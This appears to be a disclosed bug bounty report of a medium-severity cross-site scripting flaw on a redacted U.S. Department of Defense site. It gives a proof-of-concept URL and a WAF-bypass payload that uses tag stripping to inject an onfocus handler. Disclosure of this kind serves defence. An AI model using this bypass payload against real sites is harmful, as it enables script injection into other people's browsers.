U.S. Dept Of Defense · Report #1251868
XSS on https://████/ via ███████ parameter
Validstatus
mediumseverity
6upvotes
7 Apr 2022disclosed
How it was found
PoC
https://████████/██████=█████████%22%20o%3Cbr%3Enfocus=confirm(1337)%20autofocus%20tabindex=1%20xss
Payload
o<br>nfocus=confirm(1337) autofocus tabindex=1 xss
WAF bypass Tags are removed from user input. It is allowed to bypass WAF. ███
Impact
XSS on https://████████/
System Host(s)
███
Affected Product(s) and Version(s)
CVE Numbers
Steps to Reproduce
Go to
https://█████/██████=████%22%20o%3Cbr%3Enfocus=confirm(1337)%20autofocus%20tabindex=1%20xss